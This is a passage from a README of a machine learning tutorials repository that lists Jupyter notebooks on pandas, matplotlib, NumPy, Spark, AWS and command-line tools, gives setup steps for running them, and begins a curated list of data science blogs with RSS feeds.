[Working-With-Strings](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.10-Working-With-Strings.ipynb) | Learn about vectorized string operations in Pandas. | | [Working-with-Time-Series](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.11-Working-with-Time-Series.ipynb) | Learn about working with time series in pandas. | | [Performance-Eval-and-Query](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.12-Performance-Eval-and-Query.ipynb) | Learn about high-performance Pandas: eval() and query() in Pandas. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/matplotlib.png"> </p> ## matplotlib IPython Notebook(s) demonstrating matplotlib functionality. | Notebook | Description | |-----------------------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------| | [matplotlib](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/matplotlib.ipynb) | Python 2D plotting library which produces publication quality figures in a variety of hardcopy formats and interactive environments across platforms. | | [matplotlib-applied](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/matplotlib-applied.ipynb) | Apply matplotlib visualizations to Kaggle competitions for exploratory data analysis. Learn how to create bar plots, histograms, subplot2grid, normalized plots, scatter plots, subplots, and kernel density estimation plots. | | [Introduction-To-Matplotlib](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.00-Introduction-To-Matplotlib.ipynb) | Introduction to Matplotlib. | | [Simple-Line-Plots](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.01-Simple-Line-Plots.ipynb) | Learn about simple line plots in Matplotlib. | | [Simple-Scatter-Plots](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.02-Simple-Scatter-Plots.ipynb) | Learn about simple scatter plots in Matplotlib. | | [Errorbars.ipynb](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.03-Errorbars.ipynb) | Learn about visualizing errors in Matplotlib. | | [Density-and-Contour-Plots](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.04-Density-and-Contour-Plots.ipynb) | Learn about density and contour plots in Matplotlib. | | [Histograms-and-Binnings](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.05-Histograms-and-Binnings.ipynb) | Learn about histograms, binnings, and density in Matplotlib. | | [Customizing-Legends](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.06-Customizing-Legends.ipynb) | Learn about customizing plot legends in Matplotlib. | | [Customizing-Colorbars](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.07-Customizing-Colorbars.ipynb) | Learn about customizing colorbars in Matplotlib. | | [Multiple-Subplots](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.08-Multiple-Subplots.ipynb) | Learn about multiple subplots in Matplotlib. | | [Text-and-Annotation](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.09-Text-and-Annotation.ipynb) | Learn about text and annotation in Matplotlib. | | [Customizing-Ticks](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.10-Customizing-Ticks.ipynb) | Learn about customizing ticks in Matplotlib. | | [Settings-and-Stylesheets](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.11-Settings-and-Stylesheets.ipynb) | Learn about customizing Matplotlib: configurations and stylesheets. | | [Three-Dimensional-Plotting](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.12-Three-Dimensional-Plotting.ipynb) | Learn about three-dimensional plotting in Matplotlib. | | [Geographic-Data-With-Basemap](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.13-Geographic-Data-With-Basemap.ipynb) | Learn about geographic data with basemap in Matplotlib. | | [Visualization-With-Seaborn](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/matplotlib/04.14-Visualization-With-Seaborn.ipynb) | Learn about visualization with Seaborn. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/numpy.png"> </p> ## numpy IPython Notebook(s) demonstrating NumPy functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [numpy](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/numpy.ipynb) | Adds Python support for large, multi-dimensional arrays and matrices, along with a large library of high-level mathematical functions to operate on these arrays. | | [Introduction-to-NumPy](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.00-Introduction-to-NumPy.ipynb) | Introduction to NumPy. | | [Understanding-Data-Types](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.01-Understanding-Data-Types.ipynb) | Learn about data types in Python. | | [The-Basics-Of-NumPy-Arrays](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.02-The-Basics-Of-NumPy-Arrays.ipynb) | Learn about the basics of NumPy arrays. | | [Computation-on-arrays-ufuncs](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.03-Computation-on-arrays-ufuncs.ipynb) | Learn about computations on NumPy arrays: universal functions. | | [Computation-on-arrays-aggregates](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.04-Computation-on-arrays-aggregates.ipynb) | Learn about aggregations: min, max, and everything in between in NumPy. | | [Computation-on-arrays-broadcasting](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.05-Computation-on-arrays-broadcasting.ipynb) | Learn about computation on arrays: broadcasting in NumPy. | | [Boolean-Arrays-and-Masks](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.06-Boolean-Arrays-and-Masks.ipynb) | Learn about comparisons, masks, and boolean logic in NumPy. | | [Fancy-Indexing](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.07-Fancy-Indexing.ipynb) | Learn about fancy indexing in NumPy. | | [Sorting](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.08-Sorting.ipynb) | Learn about sorting arrays in NumPy. | | [Structured-Data-NumPy](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/numpy/02.09-Structured-Data-NumPy.ipynb) | Learn about structured data: NumPy's structured arrays. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/python.png"> </p> ## python-data IPython Notebook(s) demonstrating Python functionality geared towards data analysis. | Notebook | Description | |-----------------------------------------------------------------------------------------------------------------------------------------------|---------------------------------------------------------------------------------------------------------------------------| | [data structures](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/structs.ipynb) | Learn Python basics with tuples, lists, dicts, sets. | | [data structure utilities](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/structs_utils.ipynb) | Learn Python operations such as slice, range, xrange, bisect, sort, sorted, reversed, enumerate, zip, list comprehensions. | | [functions](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/functions.ipynb) | Learn about more advanced Python features: Functions as objects, lambda functions, closures, *args, **kwargs currying, generators, generator expressions, itertools. | | [datetime](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/datetime.ipynb) | Learn how to work with Python dates and times: datetime, strftime, strptime, timedelta. | | [logging](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/logs.ipynb) | Learn about Python logging with RotatingFileHandler and TimedRotatingFileHandler. | | [pdb](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/pdb.ipynb) | Learn how to debug in Python with the interactive source code debugger. | | [unit tests](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/python-data/unit_tests.ipynb) | Learn how to test in Python with Nose unit tests. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/kaggle.png"> </p> ## kaggle-and-business-analyses IPython Notebook(s) used in [kaggle](https://www.kaggle.com/) competitions and business analyses. | Notebook | Description | |-------------------------------------------------------------------------------------------------------------------|----------------------------------------------------------------------------------------------------------------| | [titanic](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/kaggle/titanic.ipynb) | Predict survival on the Titanic. Learn data cleaning, exploratory data analysis, and machine learning. | | [churn-analysis](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/analyses/churn.ipynb) | Predict customer churn. Exercise logistic regression, gradient boosting classifers, support vector machines, random forests, and k-nearest-neighbors. Includes discussions of confusion matrices, ROC plots, feature importances, prediction probabilities, and calibration/descrimination.| <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/spark.png"> </p> ## spark IPython Notebook(s) demonstrating spark and HDFS functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------| | [spark](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/spark/spark.ipynb) | In-memory cluster computing framework, up to 100 times faster for certain applications and is well suited for machine learning algorithms. | | [hdfs](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/spark/hdfs.ipynb) | Reliably stores very large files across machines in a large cluster. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/mrjob.png"> </p> ## mapreduce-python IPython Notebook(s) demonstrating Hadoop MapReduce with mrjob functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|--------------------------------------------------------------------------------------------------------------------------------------------| | [mapreduce-python](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/mapreduce/mapreduce-python.ipynb) | Runs MapReduce jobs in Python, executing jobs locally or on Hadoop clusters. Demonstrates Hadoop Streaming in Python code with unit test and [mrjob](https://github.com/Yelp/mrjob) config file to analyze Amazon S3 bucket logs on Elastic MapReduce. [Disco](https://github.com/discoproject/disco/) is another python-based alternative.| <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/aws.png"> </p> ## aws IPython Notebook(s) demonstrating Amazon Web Services (AWS) and AWS tools functionality. Also check out: * [SAWS](https://github.com/donnemartin/saws): A Supercharged AWS command line interface (CLI). * [Awesome AWS](https://github.com/donnemartin/awesome-aws): A curated list of libraries, open source repos, guides, blogs, and other resources. | Notebook | Description | |------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [boto](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#Boto) | Official AWS SDK for Python. | | [s3cmd](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#s3cmd) | Interacts with S3 through the command line. | | [s3distcp](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#s3distcp) | Combines smaller files and aggregates them together by taking in a pattern and target file. S3DistCp can also be used to transfer large volumes of data from S3 to your Hadoop cluster. | | [s3-parallel-put](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#s3-parallel-put) | Uploads multiple files to S3 in parallel. | | [redshift](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#redshift) | Acts as a fast data warehouse built on top of technology from massive parallel processing (MPP). | | [kinesis](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#kinesis) | Streams data in real time with the ability to process thousands of data streams per second. | | [lambda](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/aws/aws.ipynb#lambda) | Runs code in response to events, automatically managing compute resources. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/commands.png"> </p> ## commands IPython Notebook(s) demonstrating various command lines for Linux, Git, etc. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [linux](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/linux.ipynb) | Unix-like and mostly POSIX-compliant computer operating system. Disk usage, splitting files, grep, sed, curl, viewing running processes, terminal syntax highlighting, and Vim.| | [anaconda](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#anaconda) | Distribution of the Python programming language for large-scale data processing, predictive analytics, and scientific computing, that aims to simplify package management and deployment. | | [ipython notebook](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#ipython-notebook) | Web-based interactive computational environment where you can combine code execution, text, mathematics, plots and rich media into a single document. | | [git](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#git) | Distributed revision control system with an emphasis on speed, data integrity, and support for distributed, non-linear workflows. | | [ruby](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#ruby) | Used to interact with the AWS command line and for Jekyll, a blog framework that can be hosted on GitHub Pages. | | [jekyll](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#jekyll) | Simple, blog-aware, static site generator for personal, project, or organization sites. Renders Markdown or Textile and Liquid templates, and produces a complete, static website ready to be served by Apache HTTP Server, Nginx or another web server. | | [pelican](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#pelican) | Python-based alternative to Jekyll. | | [django](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/commands/misc.ipynb#django) | High-level Python Web framework that encourages rapid development and clean, pragmatic design. It can be useful to share reports/analyses and for blogging. Lighter-weight alternatives include [Pyramid](https://github.com/Pylons/pyramid), [Flask](https://github.com/pallets/flask), [Tornado](https://github.com/tornadoweb/tornado), and [Bottle](https://github.com/bottlepy/bottle). ## misc IPython Notebook(s) demonstrating miscellaneous functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [regex](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/misc/regex.ipynb) | Regular expression cheat sheet useful in data wrangling.| [algorithmia](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/misc/Algorithmia.ipynb) | Algorithmia is a marketplace for algorithms. This notebook showcases 4 different algorithms: Face Detection, Content Summarizer, Latent Dirichlet Allocation and Optical Character Recognition.| ## notebook-installation ### anaconda Anaconda is a free distribution of the Python programming language for large-scale data processing, predictive analytics, and scientific computing that aims to simplify package management and deployment. Follow instructions to install [Anaconda](https://docs.continuum.io/anaconda/install) or the more lightweight [miniconda](http://conda.pydata.org/miniconda.html). ### dev-setup For detailed instructions, scripts, and tools to set up your development environment for data analysis, check out the [dev-setup](https://github.com/donnemartin/dev-setup) repo. ### running-notebooks Note: If you intend to learn the hard way (preferred method)then I'd strongly advice to write as much code as you can yourself and not just run pre-written code. If you still want to test it, then do the following: To view interactive content or to modify elements within the IPython notebooks, you must first clone or download the repository then run the notebook. More information on IPython Notebooks can be found [here.](http://ipython.org/notebook.html) $ git clone https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials.git $ cd Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials $ jupyter notebook Notebooks tested with Python 3.7+ ## curated-list-of-deeplearning-blogs * A Blog From a Human-engineer-being http://www.erogol.com/ [(RSS)](http://www.erogol.com/feed/) * Aakash Japi http://aakashjapi.com/ [(RSS)](http://logicx24.github.io/feed.xml) * Adit Deshpande https://adeshpande3.github.io/ [(RSS)](https://adeshpande3.github.io/adeshpande3.github.io/feed.xml) * Advanced Analytics & R http://advanceddataanalytics.net/ [(RSS)](http://advanceddataanalytics.net/feed/) * Adventures in Data Land http://blog.smola.org [(RSS)](http://blog.smola.org/rss) * Agile Data Science http://blog.sense.io/ [(RSS)](http://blog.sense.io/rss/) * Ahmed El Deeb https://medium.com/@D33B [(RSS)](https://medium.com/feed/@D33B) * Airbnb Data blog http://nerds.airbnb.com/data/ [(RSS)](http://nerds.airbnb.com/feed/) * Alex Castrounis | InnoArchiTech http://www.innoarchitech.com/ [(RSS)](http://www.innoarchitech.com/feed.xml) * Alex Perrier http://alexperrier.github.io/ [(RSS)](http://alexperrier.github.io/feed.xml) * Algobeans | Data Analytics Tutorials & Experiments for the Layman https://algobeans.com [(RSS)](https://algobeans.com/feed/) * Amazon AWS AI Blog https://aws.amazon.com/blogs/ai/ [(RSS)](https://aws.amazon.com/blogs/amazon-ai/feed/) * Analytics Vidhya http://www.analyticsvidhya.com/blog/ [(RSS)](http://feeds.feedburner.com/AnalyticsVidhya) * Analytics and Visualization in Big Data @ Sicara https://blog.sicara.com [(RSS)](https://blog.sicara.com/feed) * Andreas Müller http://peekaboo-vision.blogspot.com/ [(RSS)](http://peekaboo-vision.blogspot.com/atom.xml) * Andrej Karpathy blog http://karpathy.github.io/ [(RSS)](http://karpathy.github.io/feed.xml) * Andrew Brooks http://brooksandrew.github.io/simpleblog/ [(RSS)](http://brooksandrew.github.io/simpleblog/feed.xml) * Andrey Kurenkov http://www.andreykurenkov.com/writing/ [(RSS)](http://www.andreykurenkov.com/writing/feed.xml/) * Anton Lebedevich's Blog http://mabrek.github.io/ [(RSS)](http://mabrek.github.io/feed.xml) * Arthur Juliani https://medium.com/@awjuliani [(RSS)](https://medium.com/feed/@awjuliani) * Audun M. Øygard http://www.auduno.com/ [(RSS)](http://auduno.tumblr.com/rss) * Avi Singh https://avisingh599.github.io/ [(RSS)](http://avisingh599.github.io/feed.xml) * Beautiful Data http://beautifuldata.net/ [(RSS)](http://beautifuldata.net/feed/) * Beckerfuffle http://mdbecker.github.io/ [(RSS)](http://mdbecker.github.io/atom.xml) * Becoming A Data Scientist http://www.becomingadatascientist.com/ [(RSS)](http://www.becomingadatascientist.com/feed/) * Ben Bolte's Blog http://benjaminbolte.com/ml/ [(RSS)](http://benjaminbolte.com/ml/) * Ben Frederickson http://www.benfrederickson.com/blog/ [(RSS)](http://www.benfrederickson.com/atom.xml) * Berkeley AI Research http://bair.berkeley.edu/blog/ [(RSS)](http://bair.berkeley.edu/blog/feed.xml) * Big-Ish Data http://bigishdata.com/ [(RSS)](http://bigishdata.com/feed/) * Blog on neural networks http://yerevann.github.io/ [(RSS)](http://yerevann.github.io/atom.xml) * Blogistic RegressionAbout Projects http://d10genes.github.io/blog/ [(RSS)](http://d10genes.github.io/blog/feed.xml) * blogR | R tips and tricks from a scientist https://drsimonj.svbtle.com/ [(RSS)](https://drsimonj.svbtle.com/) * Brain of mat kelcey http://matpalm.com/blog/ [(RSS)](http://matpalm.com/blog/feed) * Brilliantly wrong thoughts on science and programming https://arogozhnikov.github.io/ [(RSS)](http://arogozhnikov.github.io/feed.xml) * Bugra Akyildiz http://bugra.github.io/ [(RSS)](http://bugra.github.io/feeds/all.atom.xml) * Building Babylon https://building-babylon.net/ [(RSS)](http://building-babylon.net/feed/) * Carl Shan http://carlshan.com/ [(RSS)](http://feeds.feedburner.com/carlshan) * Chris Stucchio https://www.chrisstucchio.com/blog/index.html [(RSS)](http://www.chrisstucchio.com/blog/atom.xml) * Christophe Bourguignat https://medium.com/@chris_bour [(RSS)](https://medium.com/feed/@chris_bour) * Christopher Nguyen https://medium.com/@ctn [(RSS)](https://medium.com/feed/@ctn) * Cloudera Data Science Posts http://blog.cloudera.com/blog/category/data-science/ [(RSS)](http://blog.cloudera.com/blog/category/data-science/feed/) * colah's blog http://colah.github.io/archive.html [(RSS)](http://colah.github.io/rss.xml) * Cortana Intelligence and Machine Learning Blog https://blogs.technet.microsoft.com/machinelearning/ [(RSS)](http://blogs.technet.com/b/machinelearning/rss.aspx) * Daniel Forsyth http://www.danielforsyth.me/ [(RSS)](http://www.danielforsyth.me/rss/) * Daniel Homola http://danielhomola.com/category/blog/ [(RSS)](http://danielhomola.com/feed/) * Daniel Nee http://danielnee.com [(RSS)](http://danielnee.com/?feed=rss2) * Data Based Inventions http://datalab.lu/ [(RSS)](http://datalab.lu/atom.xml) * Data Blogger https://www.data-blogger.com/ [(RSS)](https://www.data-blogger.com/feed/) * Data Labs http://blog.insightdatalabs.com/ [(RSS)](http://blog.insightdatalabs.com/rss/) * Data Meets Media http://datameetsmedia.com/ [(RSS)](http://datameetsmedia.com/feed/) * Data Miners Blog http://blog.data-miners.com/ [(RSS)](http://blog.data-miners.com/feeds/posts/default?alt=rss) * Data Mining Research http://www.dataminingblog.com/ [(RSS)](http://feeds.feedburner.com/dataminingblog) * Data Mining: Text Mining, Visualization and Social Media http://datamining.typepad.com/data_mining/ [(RSS)](http://datamining.typepad.com/data_mining/atom.xml) * Data Piques http://blog.ethanrosenthal.com/ [(RSS)](http://blog.ethanrosenthal.com/feeds/all.atom.xml) * Data School http://www.dataschool.io/ [(RSS)](http://www.dataschool.io/rss/) * Data Science 101 http://101.datascience.community/ [(RSS)](http://101.datascience.community/feed/) * Data Science @ Facebook https://research.facebook.com/blog/datascience/ [(RSS)](https://research.facebook.com/blog/datascience/) * Data Science Insights http://www.datasciencebowl.com/data-science-insights/ [(RSS)](http://www.datasciencebowl.com/feed/) * Data Science Tutorials https://codementor.io/data-science/tutorial [(RSS)](https://www.codementor.io/data-science/tutorial/feed) * Data Science Vademecum http://datasciencevademecum.wordpress.com/ [(RSS)](http://datasciencevademecum.wordpress.com/feed/) * Dataaspirant http://dataaspirant.com/ [(RSS)](http://dataaspirant.wordpress.com/feed/) * Dataclysm http://blog.okcupid.com/ [(RSS)](http://blog.okcupid.com/index.php/feed/) * DataGenetics http://datagenetics.com/blog.html [(RSS)](http://datagenetics.com/feed/rss.xml) * Dataiku https://www.dataiku.com/blog/ [(RSS)](http://www.dataiku.com/feed.xml) * DataKind http://www.datakind.org/blog [(RSS)](http://feeds.feedburner.com/DataKin) * DataLook http://blog.datalook.io/ [(RSS)](http://blog.datalook.io/feed/) * Datanice https://datanice.wordpress.com/ [(RSS)](https://datanice.wordpress.com/feed/) * Dataquest Blog https://www.dataquest.io/blog/ [(RSS)](https://www.dataquest.io/blog/atom.xml) * DataRobot http://www.datarobot.com/blog/ [(RSS)](http://www.datarobot.com/feed/) * Datascope http://datascopeanalytics.com/blog [(RSS)](http://datascopeanalytics.com/rss) * DatasFrame http://tomaugspurger.github.io/ [(RSS)](http://tomaugspurger.github.io/feeds/all.rss.xml) * David Mimno http://www.mimno.org/ [(RSS)](http://mimno.infosci.cornell.edu/b/feed.xml) * Dayne Batten http://daynebatten.com [(RSS)](http://daynebatten.com/feed/) * Deep Learning http://deeplearning.net/blog/ [(RSS)](http://deeplearning.net/feed/) * Deepdish http://deepdish.io/ [(RSS)](http://deepdish.io/atom.xml) * Delip Rao http://deliprao.com/ [(RSS)](http://deliprao.com/feed) * DENNY'S BLOG http://blog.dennybritz.com/ [(RSS)](http://blog.dennybritz.com/feed/) * Dimensionless https://dimensionless.in/blog/ [(RSS)](https://dimensionless.in/feed) * Distill http://distill.pub/ [(RSS)](http://distill.pub/rss.xml) * District Data Labs http://districtdatalabs.silvrback.com/ [(RSS)](https://districtdatalabs.silvrback.com/feed) * Diving into data https://blog.datadive.net/ [(RSS)](http://blog.datadive.net/feed/) * Domino Data Lab's blog http://blog.dominodatalab.com/ [(RSS)](http://blog.dominodatalab.com/rss/) * Dr. Randal S. Olson http://www.randalolson.com/blog/ [(RSS)](http://www.randalolson.com/feed/) * Drew Conway https://medium.com/@drewconway [(RSS)](https://medium.com/feed/@drewconway) * Dustin Tran http://dustintran.com/blog/ [(RSS)](http://dustintran.com/blog/rss/) * Eder Santana https://edersantana.github.io/blog.html [(RSS)](http://edersantana.github.io/feed.xml) * Edwin Chen http://blog.echen.me [(RSS)](http://blog.echen.me/feeds/all.rss.xml) * EFavDB http://efavdb.com/ [(RSS)](http://efavdb.com/feed/) * Emilio Ferrara, Ph.D. http://www.emilio.ferrara.name/ [(RSS)](http://www.emilio.ferrara.name/feed/) * Entrepreneurial Geekiness http://ianozsvald.com/ [(RSS)](http://ianozsvald.com/feed/) * Eric Jonas http://ericjonas.com/archives.html [(RSS)](http://ericjonas.com/archives.html) * Eric Siegel http://www.predictiveanalyticsworld.com/blog [(RSS)](http://feeds.feedburner.com/predictiveanalyticsworld/GXRy) * Erik Bern http://erikbern.com [(RSS)](http://erikbern.com/feed/) * ERIN SHELLMAN http://www.erinshellman.com/ [(RSS)](http://www.erinshellman.com/feed/) * Eugenio Culurciello http://culurciello.github.io/ [(RSS)](http://culurciello.github.io/feed.xml) * Fabian Pedregosa http://fa.bianp.net/ [(RSS)](http://fa.bianp.net/blog/feed/) * Fast Forward Labs http://blog.fastforwardlabs.com/ [(RSS)](http://blog.fastforwardlabs.com/rss) * FastML http://fastml.com/ [(RSS)](http://fastml.com/atom.xml) * Florian Hartl http://florianhartl.com/ [(RSS)](http://florianhartl.com/feed/) * FlowingData http://flowingdata.com/ [(RSS)](http://flowingdata.com/feed/) * Full Stack ML http://fullstackml.com/ [(RSS)](http://fullstackml.com/feed/) * GAB41 http://www.lab41.org/gab41/ [(RSS)](http://www.lab41.org/feed/) * Garbled Notes http://www.chioka.in/ [(RSS)](http://www.chioka.in/feed.xml) * Greg Reda http://www.gregreda.com/blog/ [(RSS)](http://www.gregreda.com/feeds/all.atom.xml) * Hyon S Chu https://medium.com/@adailyventure [(RSS)](https://medium.com/feed/@adailyventure) * i am trask http://iamtrask.github.io/ [(RSS)](http://iamtrask.github.io/feed.xml) * I Quant NY http://iquantny.tumblr.com/ [(RSS)](http://iquantny.tumblr.com/rss) * inFERENCe http://www.inference.vc/ [(RSS)](http://www.inference.vc/rss/) * Insight Data Science https://blog.insightdatascience.com/ [(RSS)](https://blog.insightdatascience.com/feed) * INSPIRATION INFORMATION http://myinspirationinformation.com/ [(RSS)](http://myinspirationinformation.com/feed/) * Ira Korshunova http://irakorshunova.github.io/ [(RSS)](http://irakorshunova.github.io/feed.xml) * I’m a bandit https://blogs.princeton.edu/imabandit/ [(RSS)](https://blogs.princeton.edu/imabandit/feed/) * Jason Toy http://www.jtoy.net/ [(RSS)](http://jtoy.net/atom.xml) * Jeremy D. Jackson, PhD http://www.jeremydjacksonphd.com/ [(RSS)](http://www.jeremydjacksonphd.com/?feed=rss2) * Jesse Steinweg-Woods https://jessesw.com/ [(RSS)](https://jessesw.com/feed.xml) * Joe Cauteruccio http://www.joecjr.com/ [(RSS)](http://www.joecjr.com/feed/) * John Myles White http://www.johnmyleswhite.com/ [(RSS)](http://www.johnmyleswhite.com/feed/) * John's Soapbox http://joschu.github.io/ [(RSS)](http://joschu.github.io/feed.xml) * Jonas Degrave http://317070.github.io/ [(RSS)](http://317070.github.io/feed.xml) * Joy Of Data http://www.joyofdata.de/blog/ [(RSS)](http://www.joyofdata.de/blog/feed/) * Julia Evans http://jvns.ca/ [(RSS)](http://jvns.ca/atom.xml) * KDnuggets http://www.kdnuggets.com/ [(RSS)](http://feeds.feedburner.com/kdnuggets-data-mining-analytics) * Keeping Up With The Latest Techniques http://colinpriest.com/ [(RSS)](http://colinpriest.com/feed/) * Kenny Bastani http://www.kennybastani.com/ [(RSS)](http://www.kennybastani.com/feeds/posts/default?alt=rss) * Kevin Davenport http://kldavenport.com/ [(RSS)](http://kldavenport.com/feed/) * kevin frans http://kvfrans.com/ [(RSS)](http://kvfrans.com/rss/) * korbonits | Math ∩ Data http://korbonits.github.io/ [(RSS)](http://korbonits.github.io/feed.xml) * Large Scale Machine Learning http://bickson.blogspot.com/ [(RSS)](http://bickson.blogspot.com/feeds/posts/default) * LATERAL BLOG https://blog.lateral.io/ [(RSS)](https://blog.lateral.io/feed/) * Lazy Programmer http://lazyprogrammer.me/ [(RSS)](http://lazyprogrammer.me/feed/) * Learn Analytics Here https://learnanalyticshere.wordpress.com/ [(RSS)](https://learnanalyticshere.wordpress.com/feed/) * LearnDataSci http://www.learndatasci.com/ [(RSS)](http://www.learndatasci.com/feed/) * Learning With Data http://learningwithdata.com/ [(RSS)](http://learningwithdata.com/rss_feed.xml) * Life, Language, Learning http://daoudclarke.github.io/ [(RSS)](http://daoudclarke.github.io/atom.xml) * Locke Data https://itsalocke.com/blog/ [(RSS)](https://itsalocke.com/feed) * Louis Dorard http://www.louisdorard.com/blog/ [(RSS)](http://www.louisdorard.com/blog?format=rss) * M.E.Driscoll http://medriscoll.com/ [(RSS)](http://medriscoll.com/rss) * Machinalis http://www.machinalis.com/blog 